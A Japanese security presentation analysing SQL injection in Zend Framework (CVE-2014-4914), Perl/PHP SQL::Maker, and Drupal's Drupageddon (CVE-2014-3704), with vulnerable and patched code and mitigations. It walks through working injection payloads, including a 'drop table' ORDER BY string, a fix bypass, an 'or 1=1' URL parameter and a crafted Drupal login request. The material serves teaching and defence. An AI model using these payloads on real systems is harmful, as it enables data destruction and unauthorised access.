O/RマッパーやSQLジェネレータとSQLインジェクション

HASHコンサルティング株式会社
徳丸 浩

問題意識

- アプリケーションがSQL文を直接呼び出す場合のSQLインジェクションについては、IPA「安全なSQLの呼び出し方」にてファイナルアンサーが出ている
- したがって、この分野では、特定ソフトウェアの脆弱性など細かい話題が中心になると予想
- 一方、O/RマッパーやSQLジェネレータを用いる際のSQLインジェクションについてはまだ研究・啓発が必要
- 具体的には下記
  - O/RマッパーやSQLジェネレータの使い方によるSQLi
  - O/RマッパーやSQLジェネレータそのもののSQLi

Zend Framework のSQLインジェクション (CVE-2014-4914)

Zend Frameworkとは?

- PHPの心臓部であるZend Engineを開発しているZend Technologies社が開発したアプリケーションフレームワーク
- 柔軟な構造であり自由な使い方ができる
- 依存関係が弱くコンポーネントとして利用が容易
- PHPのオブジェクト指向を活用している
- …
- 要はZend謹製のフレームワーク

Zend_Dbの使い方

```
require_once 'Zend/Db.php';
$params = array('host' => 'localhost',
                'username' => DBUSER,
                'password' => DBPASSWD,
                'dbname'   => DBNAME);
$db = Zend_Db::factory('PDO_MYSQL', $params);
$select = $db->select()
              ->from('products')
              ->order('name'); // 列 nameでソート
$result = $db->fetchAll($select);

// 生成されるSQL文
SELECT `products`.* FROM `products` ORDER BY `name` ASC
```

orderメソッドあれこれ

```
// 単純
order('name')          ORDER BY `name` ASC

// 降順
order('name desc')     ORDER BY `name` DESC

// 識別子のエスケープ
order('na`me')         ORDER BY `na``me` ASC

// 配列による複数ソートキー指定
order(array('name', 'id'))
                       ORDER BY `name` ASC, `id` ASC

// 式も書けるよ
order('(name + id)')   ORDER BY (name + id) ASC
```

ここで一つ疑問ががが

- 識別子はクォートとエスケープがされる
  - name → `name`
  - na`ma → `na``me`
- 式はそのまま
  - (name + id) → (name + id)
- どうやって識別子と式を区別しているの?
- ソースを見よう!

```
if (preg_match('/¥(.*¥)/', $val)) {      // ( と ) があれば
  $val = new Zend_Db_Expr($val);          // 式とみなす
}
```

CVE-2014-4914 (Zend Framework 1.12.6以前)

- orderの引数文字列に (と) がありさえすれば式とみなされエスケープ対象外となる
- 1 ; 攻撃文字列 -- () とかでも おk

  SELECT `products`.* FROM `products` ORDER BY 1; 攻撃文字列 -- () ASC
- 公表されたPoCは以下の通り

  order('MD5(1); drop table products --')

  ↓生成されるSQL文

  SELECT `products`.* FROM `products` ORDER BY MD5(1); drop table products -- ASC

- 参考: http://framework.zend.com/security/advisory/ZF2014-04

Zend Framework 1.12.7 での修正

- 式の判定が以下のように修正された

```
// 1.12.6以前
if (preg_match('/¥(.*¥)/', $val)) {
  $val = new Zend_Db_Expr($val);
}

// 1.12.7
if (preg_match('/^[¥w]*¥(.*¥)$/', $val)) {
  $val = new Zend_Db_Expr($val);
}
// 英数字0文字以上に続けて ( があり、末尾に ) があれば式とみなす
```

Zend Framework 1.12.7 に対する攻撃

- 従来のPoC

  order('MD5(1); drop table products --')
  ↓生成されるSQL文

  SELECT `products`.* FROM `products` ORDER BY `MD5(1); drop table products --` ASC
  // order by 以降が ` で囲まれて識別子となる

- 新しいPoC

  order('MD5(1); drop table products --)')
  ↓生成されるSQL文

  SELECT `products`.* FROM `products` ORDER BY MD5(1); drop table products --) ASC
  // 式とみなされる条件を満たすので「そのまま」SQL文に

Zend Framework 1.12.8 での修正

- 式の判定が以下のように修正された

```
// 1.12.7
if (preg_match('/^[¥w]*¥(.*¥)$/', $val)) {
  $val = new Zend_Db_Expr($val);
}
// 英数字0文字以上に続けて ( があり、末尾に ) があれば式とみなす


// 1.12.8
if (preg_match('/^[¥w]*¥([^¥)]*¥)$/', $val)) {
  $val = new Zend_Db_Expr($val);
}
// 英数字0文字以上に続けて ( があり、途中は ) 以外が続き、
// 末尾に ) があれば式とみなす
```

これはフレームワークの脆弱性なのか?

- Ruby on Railsの場合、orderメソッドに指定する文字列は「式」と決まっているので、アプリケーション側のバリデーション等で対策することが求められる
- Zend Frameworkの場合は、文字列の内容により識別子か式かが決まるので、責任境界があいまい
- 本来、識別子用のメソッドと式用のメソッドは、名前などで明確に区別するべし
- つまり、Zend Frameworkの仕様の問題である

対策

- 最新のZend Frameworkを使用する かつ
- orderメソッドの引数をバリデーション

※ Zend Framework 2 にはこの問題はありません

JSON SQLインジェクション

SQL::Maker (Perl)

```
use SQL::Maker;
my $maker = SQL::Maker->new(driver => 'mysql');
…

($sql, @binds) = $maker->select('user', ['*'],
        {name => 'hasegawayosuke'});
SQL文: SELECT * FROM `user` WHERE (`name` = ?)
値: 'hasegawayosuke'

($sql, @binds) = $maker->select('user', ['*'],
        {name => ['hasegawayosuke', 'kinugawamasato']});
SQL文: SELECT * FROM `user` WHERE (`name` IN (?, ?))
値: 'hasegawayosuke', 'kinugawamasato'

($sql, @binds) = $maker->select('user', ['*'], {age => {'>=' => 18}});
SQL文: SELECT * FROM `user` WHERE (`age` >= ?)
値: 18
```

JSON SQL Injection (Perl)

- PerlのSQL::Makerにおいて、以下のサンプル

```
my ($sql, @bind) = $builder->select(
    "users", ["*"],  {"name"=>$user_name});
```

$user_nameが 'yamada' の場合

SQL文： SELECT * FROM `users` WHERE (`name`= ?)

変数： yamada

$user_nameが{">=":"yamada"} （JSON）の場合

SQL文： SELECT * FROM `users` WHERE (`name` >= ?)

変数： yamada

$user_nameが{"KEY":"value"} （JSON）の場合

SQL文： SELECT * FROM `users` WHERE (`name` KEY ?)

変数： value

KEYは演算子だが、バリデーションもエスケープもされない

JSON SQL Injection (PHP)

- SQL::MakerのPHP版(by @mememomo)

```
$builder = new SQL_Maker(array('driver' => 'mysql'));
list($sql, $binds) = $builder->select('users', array('*'),
array('name' => $user_name));
```

$user_name が 'yamada' の場合

SQL文： SELECT * FROM `users` WHERE (`name` = ?)

変数： yamada

$user_nameがarray('KEY' => 'value') の場合

SQL文: SELECT * FROM `users` WHERE (`name` KEY ?)

PHPならJSONなしでJSON SQL Injectionが可能

- PHPはGET/POSTのパラメータに連想配列が指定できる
- $user_name = $_GET['user_name'] としている場合

  http://example.jp/query.php?user_name[key]=value
  $user_nameには、array('key' => 'value') が入る

  http://example.jp/query.php?user_name[>''+or+1%3d1)%23]=value の場合
  生成されるSQL文は下記
  SELECT * FROM `table_name` WHERE (`name` >'' or 1=1)# ?)

対策

- SQL::Maker側の対応:

  strict モードの追加
  値としてハッシュや配列を渡せなくなる

```
$builder = new SQL_Maker(array('driver' => 'mysql', 'strict' => 1));

$builder->select('user', array('*'), array('name' => array('foo', 'bar')));
// => 例外が発生して SELECT * FROM `name` IN (?, ?) は生成されない
```

- アプリケーション側の対応:
  - SQL::Makerに渡すパラメータのバリデーション

Drupageddon(CVE-2014-3704)

Drupalとは

Drupal（ドルーパル、発音: /ˈdruːpəl/）は、プログラム言語PHPで記述されたフリーでオープンソースのモジュラー式フレームワークであり、コンテンツ管理システム (CMS) である。昨今の多くのCMSと同様に、Drupalはシステム管理者にコンテンツの作成と整理、提示方法のカスタマイズ、管理作業の自動化、サイトへの訪問者や寄稿者の管理を可能にする。

その性能がコンテンツ管理から、幅広いサービスや商取引を可能にするにまで及ぶことから、Drupalは時々「ウェブアプリケーションフレームワーク」であると評される。Drupalは洗練されたプログラミング・インターフェースを提供するものの、基本的なウェブサイトの設置と管理はプログラミングなしに成し遂げることができる。Drupalは一般に、最も優れたWeb 2.0フレームワークの一つであると考えられている。

※Wikipediaより引用

WhiteHouse

NASA

国立国会図書館カレントアウェアネス

Drupageddon(CVE-2014-3704)とは

- Drupal Ver7.31以前に存在するSQLインジェクション脆弱性
- 非常に危険性の高い脆弱性であるので、アルマゲドンをもじってドゥルパゲドンと命名された模様
- Drupal core の データベース抽象化 API （一種の SQLジェネレータ）の expandArguments 関数における SQL インジェクションの脆弱性
- 日本ではあまり話題になっていない（Drupalのシェアのせい?）

Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」

オープンソースのコンテンツ管理システム（CMS）「Drupal」に極めて深刻な脆弱（ぜいじゃく）性が見つかった問題で、Drupalは10月29日、脆弱性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回避策の適用を呼びかけている。

問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全データをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正した「Drupal 7.32」は10月15日にリリースされた。

Drupalによると、この10月15日の発表の直後から、脆弱性を修正していないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世界協定時間の10月15日午後11時（日本時間16日午前8時）までにアップデートまたはパッチを適用していない限り、破られたと想定して対処しなければならない」とDrupalは警告する。

http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用

Drupalのログイン処理のSQL文を調べる

通常時の要求

```
name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9Mvuf
bZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in
```

通常時のSQL文

```
SELECT * FROM users WHERE name = 'admin' AND status = 1
```

nameを配列で指定

```
name[]=user1&name[]=user2&pass=xxxxxxxx&form_build_id=form-xQZ7X7
8LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op
=Log+in
```

nameを配列にした場合のSQL文

```
SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1
```

文字列リテラルが複数生成される

IN句生成の便利な呼び出し方だが…

db_queryにてIN句のバインド値を配列にすると…

```
<?php
db_query("SELECT * FROM {users} where name IN (:name)",
     array(':name'=>array('user1','user2')));
?>
```

IN句の値がプレースホルダのリストに展開される

```
SELECT * from users where name IN (:name_0, :name_1)
```

バインド値の配列は以下の様に変形される

```
array(':name_0'=>'user1', ':name_1'=>'user2'))
```

キー名をつけると

キー名をつけてみる(id1, id2)

```
name[id1]=user1&name[id2]=user2
```

プレースホルダにキー名がつく

```
SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND statu
s = 1
```

空白付きのキー

キー名に空白をつけてみる

```
name[1 xxxxx]=user1&name[2]=user2
```

プレースホルダに空白が含まれる

```
SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND sta
tus = 1
```

ちぎれたプレースホルダはSQL文の一部として認識される

プレースホルダには、キー :name_1がないので上記のSQL文呼び出しはエラーになる

```
array(2) {
  [":name_1 xxxxx"] => "user1"    ← :name_1 ではない
  [":name_2"] =>  "user2"
}
```

バインド値のつじつまを合わせる

キー名に空白をつけてみる

```
name[2 xxxxx]=&name[2]=user2
```

プレースホルダに空白が含まれる

```
SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND sta
tus = 1
```

プレースホルダ :name_2 が
2箇所現れる

プレースホルダ配列は上記SQL文の要求を満たすのでSQL文は呼び出される…
が、xxxxxの箇所でSQLの文法違反となる

```
array(2) {
  [":name_2 xxxxx"] => ""
  [":name_2"] =>  "user2"
}
```

SQLインジェクションを試す

キー名に追加のSQL文を書く

```
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
```

プレースホルダの後ろに追加のSQL文が現れる

```
SELECT * FROM {users} WHERE name = :name_2 ;SELECT sleep(10) -- ,
:name_2 AND status = 1
```

実際に呼び出されるSQL文

```
SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , '
user2' AND status = 1
```

脆弱なソース

```
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
  $modified = FALSE;
  // $argsの要素から配列のみ処理対象として foreach
  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    // $dataは配列であるはずなので、foreach 可能。 $i（キー）に注目
    foreach ($data as $i => $value) {
      $new_keys[$key . '_' . $i] = $value;
    }
    // $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
    $query = preg_replace('#' . $key . '¥b#',
            implode(', ', array_keys($new_keys)), $query);
    unset($args[$key]);
    $args += $new_keys;
    $modified = TRUE;
  }
  return $modified;
}
```

対策版(7.32)

```
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
  $modified = FALSE;
  // $argsの要素から配列のみ処理対象として foreach
  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    // $dataは配列であるはずなので、foreach 可能。 $i（キー）に注目
    //foreach ($data as $i => $value) {
    foreach (array_values($data) as $i => $value) { // キーを削除
      $new_keys[$key . '_' . $i] = $value;
    }
    // $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
    $query = preg_replace('#' . $key . '¥b#',
            implode(', ', array_keys($new_keys)), $query);
    unset($args[$key]);
    $args += $new_keys;
    $modified = TRUE;
  }
  return $modified;
}
```

問題点のまとめ

- Zend Framework
  - orderメソッドの引数をエスケープするか否かを、パラメータの中身で判断している
  - これは仕様のバグ
- SQL::Maker
  - パラメータとして連想配列を想定はしていたが、キーを外部から入力される想定がなかった
- Drupal (Drupageddon)
  - パラメータとして配列は想定していたが、連想配列は想定していなかった（主原因）
  - アプリケーション側でバリデーションをしていなかった（7.36で配列を弾くようになった）